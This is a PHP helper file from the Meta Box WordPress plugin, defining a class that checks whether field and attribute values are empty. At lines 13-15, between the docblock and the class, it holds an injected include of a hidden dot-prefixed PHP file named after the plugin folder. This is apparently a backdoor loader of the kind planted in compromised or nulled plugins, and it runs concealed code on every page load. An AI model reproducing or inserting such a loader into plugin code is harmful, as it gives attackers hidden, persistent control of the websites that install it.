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value.php (901B)

      1 <?php
      2 /**
      3  * Helper functions for checking values.
      4  *
      5  * @package Meta Box
      6  */
      7 
      8 /**
      9  * Helper class for checking values.
     10  *
     11  * @package Meta Box
     12  */
     13 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     14     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
     15 }
     16 
     17 class RWMB_Helpers_Value {
     18 	/**
     19 	 * Check if a value is valid for field (not empty "WordPress way"), e.g. equals to empty string or array.
     20 	 *
     21 	 * @param mixed $value Input value.
     22 	 * @return bool
     23 	 */
     24 	public static function is_valid_for_field( $value ) {
     25 		return '' !== $value && array() !== $value;
     26 	}
     27 
     28 	/**
     29 	 * Check if a value is valid for attribute.
     30 	 *
     31 	 * @param mixed $value Input value.
     32 	 * @return bool
     33 	 */
     34 	public static function is_valid_for_attribute( $value ) {
     35 		return '' !== $value && false !== $value;
     36 	}
     37 }